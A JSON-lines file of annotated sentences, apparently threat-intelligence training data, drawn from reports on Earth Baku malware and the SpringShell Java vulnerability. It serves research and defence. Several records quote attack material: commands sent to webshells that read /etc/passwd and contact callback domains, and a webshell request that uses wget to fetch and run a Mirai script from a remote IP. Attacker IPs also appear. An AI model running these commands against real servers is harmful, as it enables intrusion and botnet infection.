backdoor.","entities":[{"id":47445,"label":"malware","start_offset":5,"end_offset":18},{"id":47448,"label":"malware","start_offset":93,"end_offset":106},{"id":47446,"label":"malware","start_offset":23,"end_offset":36},{"id":47447,"label":"tools","start_offset":69,"end_offset":82}],"relations":[{"id":326,"from_id":47446,"to_id":47447,"type":"uses"},{"id":327,"from_id":47446,"to_id":47448,"type":"uses"},{"id":328,"from_id":47445,"to_id":47447,"type":"uses"},{"id":329,"from_id":47445,"to_id":47448,"type":"uses"}],"Comments":[]} +{"id":2384,"text":"ScrambleCross receives instructions from its command-and-control (C&C) server that allow it to receive and manipulate plug-ins.","entities":[{"id":47449,"label":"malware","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]} +{"id":2385,"text":"However, we have yet to retrieve and study one of these plug-ins.","entities":[],"relations":[],"Comments":[]} +{"id":2386,"text":"It has many of the same capabilities as another backdoor, Crosswalk, which has also been used by Earth Baku.","entities":[{"id":47451,"label":"threat-actor","start_offset":97,"end_offset":107},{"id":47450,"label":"malware","start_offset":58,"end_offset":67}],"relations":[{"id":330,"from_id":47451,"to_id":47450,"type":"uses"}],"Comments":[]} +{"id":2387,"text":"For example, both calculate the hash of the code section as an anti-bugging technique, both are designed as fully position-independent code, and both support various kinds of network communication protocols.","entities":[],"relations":[],"Comments":[]} +{"id":2388,"text":"Connections to other campaigns Earth Baku’s recent activities are related to another campaign that has been active since at least November 2018, as reported by FireEye and Positive Technologies.","entities":[{"id":45485,"label":"TIME","start_offset":130,"end_offset":143},{"id":45487,"label":"identity","start_offset":172,"end_offset":193},{"id":45486,"label":"identity","start_offset":160,"end_offset":167},{"id":45484,"label":"threat-actor","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]} +{"id":2389,"text":"While the older campaign uses a different shellcode loader, which we have named LavagokLdr, we have observed similar code and procedures between LavagokLdr and StealthVector.","entities":[{"id":47452,"label":"malware","start_offset":80,"end_offset":90},{"id":47453,"label":"malware","start_offset":145,"end_offset":155},{"id":47454,"label":"malware","start_offset":160,"end_offset":173}],"relations":[],"Comments":[]} +{"id":2390,"text":"In the same vein, we have observed that LavagokLdr’s payload, Crosswalk, and one of StealthVector’s payloads, ScrambleCross, perform similar techniques for decryption and signature checking.","entities":[{"id":47455,"label":"malware","start_offset":40,"end_offset":50},{"id":47456,"label":"malware","start_offset":62,"end_offset":71},{"id":47458,"label":"malware","start_offset":110,"end_offset":123},{"id":47457,"label":"malware","start_offset":84,"end_offset":98}],"relations":[],"Comments":[]} +{"id":2391,"text":"But because Earth Baku has updated its toolset with StealthVector, StealthMutant, and ScrambleCross for this new campaign, we have identified it as its own separate operation.","entities":[{"id":45488,"label":"threat-actor","start_offset":12,"end_offset":22},{"id":45490,"label":"malware","start_offset":52,"end_offset":65},{"id":45491,"label":"malware","start_offset":67,"end_offset":80},{"id":45492,"label":"malware","start_offset":86,"end_offset":99}],"relations":[{"id":102,"from_id":45488,"to_id":45491,"type":"uses"},{"id":103,"from_id":45488,"to_id":45492,"type":"uses"},{"id":101,"from_id":45488,"to_id":45490,"type":"uses"}],"Comments":[]} +{"id":2392,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]} +{"id":2393,"text":"A timeline of Earth Baku’s previous campaign as APT41 and its new campaign How Earth Baku creates its malware tools Earth Baku is known for its use of self-developed tools.","entities":[{"id":47459,"label":"threat-actor","start_offset":14,"end_offset":24},{"id":47460,"label":"threat-actor","start_offset":48,"end_offset":53},{"id":47461,"label":"threat-actor","start_offset":79,"end_offset":89},{"id":47462,"label":"threat-actor","start_offset":116,"end_offset":126}],"relations":[{"id":331,"from_id":47459,"to_id":47460,"type":"duplicate-of"}],"Comments":[]} +{"id":2394,"text":"To continue doing so, it appears to be filling its ranks with malicious actors who are pooling their diverse skills.","entities":[],"relations":[],"Comments":[]} +{"id":2395,"text":"Interestingly, the new malware tools involved in Earth Baku’s new campaign indicates that the APT group has likely recruited members who specialize in low-level programming, software development, and red-team techniques.","entities":[{"id":47463,"label":"threat-actor","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]} +{"id":2396,"text":"For more details about Earth Baku’s new campaign, read our research paper \"Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor.\" Tags Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":47464,"label":"threat-actor","start_offset":23,"end_offset":34},{"id":47465,"label":"threat-actor","start_offset":75,"end_offset":85},{"id":47466,"label":"location","start_offset":110,"end_offset":122}],"relations":[],"Comments":[]} +{"id":2397,"text":"This post is also available in: 日本語 (Japanese) Recently, two vulnerabilities were announced within the Spring Framework, an open-source framework for building enterprise Java applications.","entities":[{"id":47467,"label":"SOFTWARE","start_offset":109,"end_offset":125}],"relations":[],"Comments":[]} +{"id":2398,"text":"On March 29, 2022, the Spring Cloud Expression Resource Access Vulnerability tracked in CVE-2022-22963 was patched with the release of Spring Cloud Function 3.1.7 and 3.2.3.","entities":[{"id":47468,"label":"TIME","start_offset":3,"end_offset":17},{"id":47470,"label":"vulnerability","start_offset":88,"end_offset":102},{"id":47469,"label":"vulnerability","start_offset":23,"end_offset":76},{"id":47471,"label":"SOFTWARE","start_offset":135,"end_offset":172}],"relations":[{"id":332,"from_id":47471,"to_id":47470,"type":"has"}],"Comments":[]} +{"id":2399,"text":"Two days later on March 31, 2022, Spring released version 5.3.18 and 5.2.20 of Spring Framework to patch another more severe vulnerability tracked in CVE-2022-22965.","entities":[{"id":47472,"label":"TIME","start_offset":18,"end_offset":32},{"id":47473,"label":"SOFTWARE","start_offset":34,"end_offset":40},{"id":47474,"label":"SOFTWARE","start_offset":79,"end_offset":95},{"id":47475,"label":"vulnerability","start_offset":150,"end_offset":164}],"relations":[{"id":333,"from_id":47474,"to_id":47475,"type":"has"}],"Comments":[]} +{"id":2400,"text":"The CVE-2022-22965 vulnerability allows an attacker unauthenticated remote code execution (RCE), which Unit 42 has observed being exploited in the wild.","entities":[{"id":45495,"label":"vulnerability","start_offset":4,"end_offset":18},{"id":45496,"label":"attack-pattern","start_offset":52,"end_offset":89},{"id":45497,"label":"identity","start_offset":103,"end_offset":110}],"relations":[{"id":105,"from_id":45496,"to_id":45495,"type":"delivers"}],"Comments":[]} +{"id":2401,"text":"The exploitation of this vulnerability could result in a webshell being installed onto the compromised server that allows further command execution.","entities":[],"relations":[],"Comments":[]} +{"id":2402,"text":"Because the Spring Framework is widely used for web system development and the severity of the vulnerability is critical (CVSS score of 9.8), CVE-2022-22965 is given the name SpringShell (and\/or Spring4Shell) by the infosec community.","entities":[{"id":47477,"label":"vulnerability","start_offset":142,"end_offset":156},{"id":47478,"label":"vulnerability","start_offset":175,"end_offset":186},{"id":47476,"label":"SOFTWARE","start_offset":12,"end_offset":28},{"id":47479,"label":"vulnerability","start_offset":195,"end_offset":207}],"relations":[],"Comments":[]} +{"id":2403,"text":"To understand the impact of this vulnerability, we analyzed all the available information and located the issue in the source code.","entities":[],"relations":[],"Comments":[]} +{"id":2404,"text":" On April 8, we updated this blog to include statistics on SpringShell exploitation attempts that we identified by analyzing hits on the Spring Core Remote Code Execution Vulnerability threat prevention signature for the Palo Alto Networks Next-Generation Firewall, as well as alerts triggered in Cortex XDR.","entities":[{"id":47484,"label":"SOFTWARE","start_offset":297,"end_offset":307},{"id":47480,"label":"TIME","start_offset":4,"end_offset":11},{"id":47481,"label":"vulnerability","start_offset":59,"end_offset":70},{"id":47482,"label":"vulnerability","start_offset":137,"end_offset":184},{"id":47483,"label":"SOFTWARE","start_offset":221,"end_offset":264}],"relations":[{"id":334,"from_id":47481,"to_id":47482,"type":"related-to"}],"Comments":[]} +{"id":2405,"text":"We also added a section on indicators.","entities":[],"relations":[],"Comments":[]} +{"id":2406,"text":" Palo Alto Networks customers receive protections against CVE-2022-22965 and CVE-2022-22963 via products and services including Cortex XDR Prevent and Pro, a Threat Prevention subscription for the Next-Generation Firewall, and Prisma Cloud Compute.","entities":[{"id":45498,"label":"identity","start_offset":1,"end_offset":19},{"id":45499,"label":"vulnerability","start_offset":58,"end_offset":72},{"id":45501,"label":"SOFTWARE","start_offset":128,"end_offset":154},{"id":45502,"label":"SOFTWARE","start_offset":227,"end_offset":247},{"id":45500,"label":"vulnerability","start_offset":77,"end_offset":91}],"relations":[],"Comments":[]} +{"id":2407,"text":"Affected Software and Versions Background on the Spring Framework Root Cause Analysis for CVE-2022-22965","entities":[{"id":47486,"label":"vulnerability","start_offset":90,"end_offset":104},{"id":47485,"label":"SOFTWARE","start_offset":49,"end_offset":65}],"relations":[{"id":335,"from_id":47485,"to_id":47486,"type":"has"}],"Comments":[]} +{"id":2408,"text":"Background on Exploitation of the Class Loader Establishing a Reverse Shell Connection to a Remote Server on the Compromised Server SpringShell Exploit Observed in the Wild Conclusion","entities":[{"id":47488,"label":"vulnerability","start_offset":132,"end_offset":143},{"id":47487,"label":"attack-pattern","start_offset":47,"end_offset":86}],"relations":[],"Comments":[]} +{"id":2409,"text":"Additional Resources Indicators Existing proofs of concept (PoCs) for exploitation work under the following conditions: Any Java application using Spring Beans packet (spring-beans-*.jar) and using Spring parameters binding could be affected by this vulnerability.","entities":[{"id":45503,"label":"SOFTWARE","start_offset":150,"end_offset":162},{"id":45504,"label":"SOFTWARE","start_offset":201,"end_offset":207},{"id":45505,"label":"SOFTWARE","start_offset":127,"end_offset":143},{"id":47489,"label":"FILEPATH","start_offset":171,"end_offset":189}],"relations":[],"Comments":[]} +{"id":2410,"text":" The Spring Framework is an open-source application framework and inversion of the control container for the Java platform.","entities":[{"id":47490,"label":"SOFTWARE","start_offset":5,"end_offset":21}],"relations":[],"Comments":[]} +{"id":2411,"text":"It is widely used in the industry by various programs and systems due to its powerful features and ease of use.","entities":[],"relations":[],"Comments":[]} +{"id":2412,"text":"Some well-known products such as Spring Boot and Spring Cloud are developed with the Spring Framework.","entities":[{"id":45506,"label":"SOFTWARE","start_offset":33,"end_offset":44},{"id":45508,"label":"SOFTWARE","start_offset":85,"end_offset":101},{"id":45507,"label":"SOFTWARE","start_offset":49,"end_offset":61}],"relations":[],"Comments":[]} +{"id":2413,"text":" The Spring Core (spring-core) is the core of the framework that provides powerful features such as inversion of control and dependency injection.","entities":[{"id":47491,"label":"SOFTWARE","start_offset":5,"end_offset":16}],"relations":[],"Comments":[]} +{"id":2414,"text":"It contains the core, beans, context and Spring Expression Language (SpEL) modules.","entities":[{"id":47492,"label":"SOFTWARE","start_offset":41,"end_offset":74}],"relations":[],"Comments":[]} +{"id":2415,"text":" The vulnerability is caused by the getCachedIntrospectionResults method of the Spring framework wrongly exposing the class object when binding the parameters.","entities":[{"id":45509,"label":"SOFTWARE","start_offset":80,"end_offset":96}],"relations":[],"Comments":[]} +{"id":2416,"text":" The default Spring data binding mechanism allows developers to bind HTTP request details to application-specific objects.","entities":[{"id":47493,"label":"SOFTWARE","start_offset":13,"end_offset":19}],"relations":[],"Comments":[]} +{"id":2417,"text":"For example, there is a simple classical application scenario in which the developer creates a trade object to capture request parameters as shown in Figure 1.","entities":[],"relations":[],"Comments":[]} +{"id":2418,"text":" Then the developer creates a controller to use the object trade as shown in Figure 2. After that, the developer usually creates a request builder for the trade controller, which allows the web user to access the trade object remotely as shown in Figure 3.","entities":[],"relations":[],"Comments":[]} +{"id":2419,"text":" When web users access trade object properties, the binding process (bindRequestParameters) in the Spring framework implementation will call the getCachedIntrospectionResults method to get and set the object property in the cache.","entities":[{"id":47494,"label":"SOFTWARE","start_offset":99,"end_offset":115}],"relations":[],"Comments":[]} +{"id":2420,"text":"However, the return object of the getCachedIntrospectionResults method includes a class object.","entities":[],"relations":[],"Comments":[]} +{"id":2421,"text":"This means that web users can get a class object remotely by simply submitting a URL as shown in Figure 4.","entities":[],"relations":[],"Comments":[]} +{"id":2422,"text":" Exposing the class object to web users is very dangerous and can lead to RCE in many ways.","entities":[],"relations":[],"Comments":[]} +{"id":2423,"text":"The class loader is often used by exploiting payloads to load some sensitive classes dynamically for object modification and code execution.","entities":[{"id":47495,"label":"attack-pattern","start_offset":34,"end_offset":53}],"relations":[],"Comments":[]} +{"id":2424,"text":"One easy way to get RCE is using the exposed class loader to modify the Tomcat log configuration and remotely upload a JSP web shell after changing the Tomcat log configuration.","entities":[{"id":45511,"label":"SOFTWARE","start_offset":152,"end_offset":158},{"id":7258,"label":"attack-pattern","start_offset":123,"end_offset":132},{"id":47496,"label":"SOFTWARE","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]} +{"id":2425,"text":"One example of changing the Tomcat log configuration by simply submitting a URL is shown in Figure 5.","entities":[{"id":47497,"label":"SOFTWARE","start_offset":28,"end_offset":34}],"relations":[],"Comments":[]} +{"id":2426,"text":"This is the exploit method used in the public PoC for the SpringShell vulnerability.","entities":[{"id":47498,"label":"vulnerability","start_offset":58,"end_offset":83}],"relations":[],"Comments":[]} +{"id":2427,"text":"Early in 2010, CVE-2010-1622 was assigned to a remote code execution vulnerability in the Spring Framework.","entities":[{"id":45513,"label":"vulnerability","start_offset":15,"end_offset":28},{"id":45514,"label":"SOFTWARE","start_offset":90,"end_offset":106},{"id":45515,"label":"attack-pattern","start_offset":47,"end_offset":68},{"id":45512,"label":"TIME","start_offset":0,"end_offset":13}],"relations":[{"id":106,"from_id":45514,"to_id":45513,"type":"has"},{"id":107,"from_id":45515,"to_id":45513,"type":"uses"}],"Comments":[]} +{"id":2428,"text":"This vulnerability was due to the lack of proper check on the provided PropertyDescriptor in CachedIntrospectionResults() so that class.classLoader is allowed to be utilized to modify the search path of the system's class loader and cause the program to invoke remote Java code.","entities":[],"relations":[],"Comments":[]} +{"id":2429,"text":"For this vulnerability, the class loader plays a vital role in the exploitation.","entities":[],"relations":[],"Comments":[]} +{"id":2430,"text":" In the Spring Framework version 2.5.6.SEC02, the vulnerability was fixed.","entities":[{"id":45516,"label":"SOFTWARE","start_offset":9,"end_offset":44}],"relations":[],"Comments":[]} +{"id":2431,"text":"However, while the original way of obtaining the class loader and exploiting it no longer works, a new feature of JDK was introduced in version 9, providing another way to obtain the class loader and making the exploit possible again.","entities":[{"id":47499,"label":"SOFTWARE","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]} +{"id":2432,"text":" The code snippet seen in Figure 6 shows the fix to CVE-2010-1622.","entities":[{"id":47500,"label":"vulnerability","start_offset":52,"end_offset":65}],"relations":[],"Comments":[]} +{"id":2433,"text":"The fix is to use a block list to exclude two methods: Class.getClassLoader() and getProtectionDomain() as highlighted in Figure 6.","entities":[],"relations":[],"Comments":[]} +{"id":2434,"text":"But using a block list runs the risk of being bypassed by the cases not on the list.","entities":[],"relations":[],"Comments":[]} +{"id":2435,"text":"And the Java 9 Platform Module System (JPMS) provides a way to bypass this block list.","entities":[{"id":47501,"label":"SOFTWARE","start_offset":8,"end_offset":43}],"relations":[],"Comments":[]} +{"id":2436,"text":" The newly added module property makes it possible to modify the logging configuration so that a JSP webshell can be written into the web host folder via the logging function as shown in Figure 7.","entities":[{"id":47502,"label":"SOFTWARE","start_offset":97,"end_offset":100},{"id":47503,"label":"attack-pattern","start_offset":101,"end_offset":109}],"relations":[],"Comments":[]} +{"id":2437,"text":" Figure 8 shows the payload drops a password-protected webshell in the Tomcat ROOT directory called shell7.jsp.","entities":[{"id":47504,"label":"SOFTWARE","start_offset":71,"end_offset":77},{"id":47505,"label":"FILEPATH","start_offset":100,"end_offset":110}],"relations":[],"Comments":[]} +{"id":2438,"text":" Attackers can then invoke any command through the JSP webshell.","entities":[{"id":47507,"label":"attack-pattern","start_offset":55,"end_offset":63},{"id":47506,"label":"SOFTWARE","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]} +{"id":2439,"text":"Figure 9 shows the example of executing Netcat to establish a reverse shell to a remote server on the compromised server.","entities":[{"id":7297,"label":"tools","start_offset":40,"end_offset":46},{"id":47508,"label":"attack-pattern","start_offset":50,"end_offset":75}],"relations":[],"Comments":[]} +{"id":2440,"text":" Exploit code for this remote code execution vulnerability has been made publicly available.","entities":[{"id":47509,"label":"attack-pattern","start_offset":23,"end_offset":44}],"relations":[],"Comments":[]} +{"id":2441,"text":"Unit 42 first observed scanning traffic early on March 30, 2022 with HTTP requests to servers that included the test strings within the URL.","entities":[{"id":47510,"label":"identity","start_offset":0,"end_offset":7},{"id":47511,"label":"TIME","start_offset":49,"end_offset":63}],"relations":[],"Comments":[]} +{"id":2442,"text":"Figure 10 shows an example of the early scanning activity.","entities":[],"relations":[],"Comments":[]} +{"id":2443,"text":" While testing our Threat Prevention signatures, we observed additional scanning activity that included the exploit code within the data section of the HTTP POST request, as seen in Figure 11.","entities":[],"relations":[],"Comments":[]} +{"id":2444,"text":" Once we deployed the Threat Prevention signatures, we analyzed the packet captures associated with our \"Spring Core Remote Code Execution Vulnerability\" signature and found that a majority of the activity was likely generated by variations of the publicly available PoC tools.","entities":[{"id":47512,"label":"vulnerability","start_offset":105,"end_offset":152}],"relations":[],"Comments":[]} +{"id":2445,"text":"Our analysis shows that the following filenames would store the webshell contents on the server in the event of successful exploitation: 0xd0m7.jsp myshell.jsp shell.jsp tomcatwar.jsp wpz.jsp The webshell contents written to these files are very similar to the code included in the publicly available PoC as well.","entities":[{"id":47515,"label":"FILEPATH","start_offset":161,"end_offset":170},{"id":47516,"label":"FILEPATH","start_offset":171,"end_offset":184},{"id":47513,"label":"FILEPATH","start_offset":138,"end_offset":148},{"id":47514,"label":"FILEPATH","start_offset":149,"end_offset":160},{"id":47517,"label":"FILEPATH","start_offset":185,"end_offset":192}],"relations":[],"Comments":[]} +{"id":2446,"text":"There are two variants of the webshell.","entities":[],"relations":[],"Comments":[]} +{"id":2447,"text":"One was included in the PoC and uses the pwd parameter for authentication (password is always j) and the cmd parameter for the command to execute.","entities":[],"relations":[],"Comments":[]} +{"id":2448,"text":"The second variant does not use a parameter for authentication and uses id for the command to execute.","entities":[],"relations":[],"Comments":[]} +{"id":2449,"text":"Table 1 shows the parameters that the webshell saved to the server would use for authentication and command and how many times we saw them.","entities":[],"relations":[],"Comments":[]} +{"id":2450,"text":" Table 1. Parameters used by webshells seen in hits on \"Spring Core Remote Code Execution Vulnerability\" signature.","entities":[{"id":47518,"label":"vulnerability","start_offset":56,"end_offset":103},{"id":47519,"label":"attack-pattern","start_offset":29,"end_offset":38}],"relations":[],"Comments":[]} +{"id":2451,"text":" We searched our telemetry for activity to webshells using the file names associated with the SpringShell activity, with the noted exception of shell.jsp, which is far too general.","entities":[{"id":45518,"label":"FILEPATH","start_offset":144,"end_offset":153},{"id":45517,"label":"vulnerability","start_offset":94,"end_offset":105}],"relations":[],"Comments":[]} +{"id":2452,"text":"We have seen the unique commands listed below submitted to webshells.","entities":[{"id":47520,"label":"attack-pattern","start_offset":59,"end_offset":67}],"relations":[],"Comments":[]} +{"id":2453,"text":"Of these, only the two commands involving \/etc\/passwd would possibly suggest malicious intent for exploitation – the rest of the commands suggest general scanning activity.","entities":[{"id":47521,"label":"FILEPATH","start_offset":42,"end_offset":53}],"relations":[],"Comments":[]} +{"id":2454,"text":"ls nslookup%20[redacted].test6.ggdd[.]co[.]uk nslookup+[redacted].test6.ggdd[.]co[.]uk ping%20[redacted].test6.ggdd[.]co[.]uk ping+[redacted].test6.ggdd[.]co[.]uk whoami cat%20\/etc\/passwd cat+\/etc\/passwd id ifconfig ipconfig ping%20[redacted].burpcollaborator[.]net ","entities":[{"id":45521,"label":"FILEPATH","start_offset":192,"end_offset":203},{"id":45522,"label":"DOMAIN","start_offset":233,"end_offset":265},{"id":45523,"label":"DOMAIN","start_offset":131,"end_offset":161},{"id":45524,"label":"DOMAIN","start_offset":14,"end_offset":45},{"id":45525,"label":"DOMAIN","start_offset":55,"end_offset":86},{"id":45520,"label":"FILEPATH","start_offset":176,"end_offset":187},{"id":45526,"label":"DOMAIN","start_offset":94,"end_offset":125},{"id":7335,"label":"tools","start_offset":207,"end_offset":215},{"id":7336,"label":"tools","start_offset":216,"end_offset":224},{"id":47522,"label":"tools","start_offset":163,"end_offset":169},{"id":47523,"label":"tools","start_offset":46,"end_offset":54},{"id":47525,"label":"tools","start_offset":87,"end_offset":91},{"id":47526,"label":"tools","start_offset":126,"end_offset":130},{"id":47524,"label":"tools","start_offset":3,"end_offset":11},{"id":47527,"label":"tools","start_offset":225,"end_offset":229}],"relations":[],"Comments":[]} +{"id":2455,"text":"Our Spring Core Remote Code Execution Vulnerability signature was released in the early hours of March 31.","entities":[{"id":47528,"label":"vulnerability","start_offset":4,"end_offset":51},{"id":47529,"label":"TIME","start_offset":82,"end_offset":105}],"relations":[],"Comments":[]} +{"id":2456,"text":"On April 7, we collected the seven days’ worth of activity since the signature release and found that the signature had triggered 43,092 times.","entities":[{"id":47530,"label":"TIME","start_offset":3,"end_offset":10}],"relations":[],"Comments":[]} +{"id":2457,"text":"Figure 12 shows the steady increase of total hits from March 31 until April 3, a fairly significant decrease on April 4, followed by an incline in activity on April 5 and 6.","entities":[{"id":45527,"label":"TIME","start_offset":55,"end_offset":63},{"id":45528,"label":"TIME","start_offset":70,"end_offset":77},{"id":45529,"label":"TIME","start_offset":112,"end_offset":119},{"id":45530,"label":"TIME","start_offset":159,"end_offset":172}],"relations":[],"Comments":[]} +{"id":2458,"text":"At this time, we have yet to confirm any successful exploitation attempts that led to a webshell installed onto the server outside of testing activity using purposefully vulnerable applications.","entities":[],"relations":[],"Comments":[]} +{"id":2459,"text":" We observed a large amount of unique IP addresses during our analysis – with 2,056 addresses triggering the Spring Core Remote Code Execution Vulnerability signature.","entities":[{"id":47531,"label":"vulnerability","start_offset":109,"end_offset":156}],"relations":[],"Comments":[]} +{"id":2460,"text":"Table 2 shows the top 15 IP addresses seen as the source that triggered our signature, which accounts for just over 50% of all of the activity we observed.","entities":[],"relations":[],"Comments":[]} +{"id":2461,"text":" Table 2. Top 15 source IPs triggering the Spring Core Remote Code Execution Vulnerability signature.","entities":[{"id":47532,"label":"vulnerability","start_offset":43,"end_offset":90}],"relations":[],"Comments":[]} +{"id":2462,"text":" We were able to analyze 31,953 packet captures that triggered the Spring Core Remote Code Execution Vulnerability signature to determine the webshell filenames and the webshell contents that would be saved to the server in the event of successful exploitation.","entities":[{"id":47533,"label":"vulnerability","start_offset":67,"end_offset":114},{"id":47534,"label":"attack-pattern","start_offset":142,"end_offset":150},{"id":47535,"label":"attack-pattern","start_offset":169,"end_offset":177}],"relations":[],"Comments":[]} +{"id":2463,"text":"In many cases, the webshell file names had .jsp extensions, which would allow for a successful exploitation to install a working webshell.","entities":[{"id":47536,"label":"attack-pattern","start_offset":129,"end_offset":137}],"relations":[],"Comments":[]} +{"id":2464,"text":"However, in many cases the filename had an extension that would not support a webshell, such as .js and .txt, which we believe was used just to mark the presence of a successful file upload as part of vulnerable server discovery efforts.","entities":[],"relations":[],"Comments":[]} +{"id":2465,"text":"At the time of writing, we have observed 95 unique webshell filenames, which we have included in the indicators section.","entities":[],"relations":[],"Comments":[]} +{"id":2466,"text":" A majority of the activity used the tomcarwar.jsp filename that was used in the initial PoC script, which accounted for over 57% of the filenames observed.","entities":[],"relations":[],"Comments":[]} +{"id":2467,"text":"In fact, the top three filenames – tomcarwar.jsp, checkexploit.jsp and javatestfila.jsp – account for over 84% of the activity with known webshell filenames.","entities":[{"id":47537,"label":"FILEPATH","start_offset":35,"end_offset":48},{"id":47539,"label":"FILEPATH","start_offset":71,"end_offset":87},{"id":47538,"label":"FILEPATH","start_offset":50,"end_offset":66},{"id":47540,"label":"attack-pattern","start_offset":138,"end_offset":146}],"relations":[],"Comments":[]} +{"id":2468,"text":"The pie chart in Figure 13 shows a high-level breakdown of the most common filenames.","entities":[],"relations":[],"Comments":[]} +{"id":2469,"text":" A majority of the packets we analyzed showed the webshell contents did not differ far from the webshell seen in the original proof-of-concept script, which can be seen in Figure 14.","entities":[],"relations":[],"Comments":[]} +{"id":2470,"text":"Another very common webshell seen within our telemetry is the exact same with different HTTP parameters and values used by the webshell, as seen in Figure 15.","entities":[{"id":47542,"label":"attack-pattern","start_offset":20,"end_offset":28},{"id":47541,"label":"attack-pattern","start_offset":127,"end_offset":135}],"relations":[],"Comments":[]} +{"id":2471,"text":" We also observed a significant amount of exploit attempts using content that again was a modification of the initial webshell in the proof-of-concept.","entities":[{"id":47543,"label":"attack-pattern","start_offset":119,"end_offset":127}],"relations":[],"Comments":[]} +{"id":2472,"text":"Figure 16 shows the contents that we observed in the wild, which should not be considered a webshell as it does nothing more than display SPRING_CORE_RCE.","entities":[{"id":47544,"label":"attack-pattern","start_offset":92,"end_offset":100}],"relations":[],"Comments":[]} +{"id":2473,"text":"The lack of webshell functionality suggests that this is likely uploaded by scanners attempting to discover servers vulnerable to SpringShell.","entities":[{"id":47545,"label":"attack-pattern","start_offset":12,"end_offset":20},{"id":47546,"label":"vulnerability","start_offset":130,"end_offset":141}],"relations":[],"Comments":[]} +{"id":2474,"text":" More recently, we have seen an uptick in webshell content as seen in Figure 17, which is related to another proof-of-concept script created by K3rwin.","entities":[{"id":47547,"label":"identity","start_offset":144,"end_offset":150}],"relations":[],"Comments":[]} +{"id":2475,"text":"This particular webshell will load a base64 encoded class that will contain the functionality desired by the actor.","entities":[],"relations":[],"Comments":[]} +{"id":2476,"text":"This particular webshell is based on AntSword’s shell.jsp, which was modified to use a parameter of k3rwin instead of ant to load the class.","entities":[{"id":7400,"label":"tools","start_offset":37,"end_offset":45},{"id":47549,"label":"identity","start_offset":100,"end_offset":106},{"id":47548,"label":"FILEPATH","start_offset":48,"end_offset":57}],"relations":[{"id":336,"from_id":7400,"to_id":47548,"type":"consists-of"}],"Comments":[]} +{"id":2477,"text":" The only malicious activity we have seen in our telemetry related to SpringShell involves HTTP requests to URLs containing the tomcatwar.jsp filename associated with the SpringShell proof-of-concept script.","entities":[{"id":47550,"label":"vulnerability","start_offset":70,"end_offset":81},{"id":47551,"label":"FILEPATH","start_offset":128,"end_offset":141},{"id":47552,"label":"vulnerability","start_offset":171,"end_offset":182}],"relations":[],"Comments":[]} +{"id":2478,"text":"The activity involved parameters issued to the webshell that would run a command to download and execute a script from a remote server as seen in the following: [redacted IPV4 address]:8080\/tomcatwar.jsp?pwd=j&cmd=\/bin\/sh\/-c${IFS}'cd${IFS}\/tmp;wget${IFS}hxxp:\/\/107.174.133[.]167\/t.sh${IFS}-O-%a6sh${IFS}SpringCore;' ","entities":[{"id":45532,"label":"URL","start_offset":162,"end_offset":317}],"relations":[],"Comments":[]} +{"id":2479,"text":"Upon further analysis, the t.sh script hosted on this remote server is related to the Mirai botnet.","entities":[{"id":47554,"label":"FILEPATH","start_offset":27,"end_offset":31},{"id":47553,"label":"malware","start_offset":86,"end_offset":98}],"relations":[],"Comments":[]} +{"id":2480,"text":"The requests above were sent from the IP address ​​194.31.98[.]186, which itself has hosted payloads associated with Mirai as well.","entities":[{"id":47555,"label":"IPV4","start_offset":51,"end_offset":66},{"id":47556,"label":"malware","start_offset":117,"end_offset":122}],"relations":[],"Comments":[]} +{"id":2481,"text":"Inbound attempts to exploit the SpringShell vulnerability from 194.31.98[.]186 attempted to install the webshell from the original proof-of-concept seen in Figure 14.","entities":[{"id":45533,"label":"IPV4","start_offset":63,"end_offset":78},{"id":47557,"label":"attack-pattern","start_offset":104,"end_offset":112},{"id":47558,"label":"vulnerability","start_offset":32,"end_offset":43}],"relations":[],"Comments":[]} +{"id":2482,"text":"Our signatures blocked the initial attempt to exploit the vulnerability so we cannot confirm if Mirai’s attempts to exploit SpringShell have been successful.","entities":[{"id":47559,"label":"malware","start_offset":96,"end_offset":101},{"id":47560,"label":"vulnerability","start_offset":124,"end_offset":135}],"relations":[],"Comments":[]} +{"id":2483,"text":"Both Netlab 360 and Trend Micro also observed Mirai activity related to the SpringShell vulnerability.","entities":[{"id":47561,"label":"identity","start_offset":5,"end_offset":15},{"id":47562,"label":"identity","start_offset":20,"end_offset":31},{"id":47563,"label":"malware","start_offset":46,"end_offset":51},{"id":47564,"label":"vulnerability","start_offset":76,"end_offset":101}],"relations":[],"Comments":[]} +{"id":2484,"text":"In addition to our threat prevention signatures, we analyzed the alerts triggered in Cortex XDR and found 116 events between April 4 and April 8.","entities":[{"id":45534,"label":"SOFTWARE","start_offset":85,"end_offset":95},{"id":45536,"label":"TIME","start_offset":137,"end_offset":144},{"id":45535,"label":"TIME","start_offset":125,"end_offset":132}],"relations":[],"Comments":[]} +{"id":2485,"text":"A majority of these alerts are triggered by testing of the proof-of-concept tools previously mentioned above.","entities":[],"relations":[],"Comments":[]} +{"id":2486,"text":"We also observed several alerts involving a docker container named spring4shell, which had a \/helloworld directory and had a listening port tcp\/8080.","entities":[{"id":47565,"label":"vulnerability","start_offset":67,"end_offset":79}],"relations":[],"Comments":[]} +{"id":2487,"text":"We believe these docker containers are also part of internal testing efforts using publicly available docker containers, such as Spring4Shell-POC.","entities":[{"id":45537,"label":"vulnerability","start_offset":129,"end_offset":145}],"relations":[],"Comments":[]} +{"id":2488,"text":"The signature triggered on the creation of the webshell files, of which we observed the following file written: \/usr\/local\/tomcat\/work\/Catalina\/localhost\/ROOT\/org\/apache\/jsp\/shell_jsp.java \/usr\/local\/tomcat\/webapps\/ROOT\/shell_.jsp SpringShell is officially assigned CVE-2022-22965, and the patch was released on March 31, 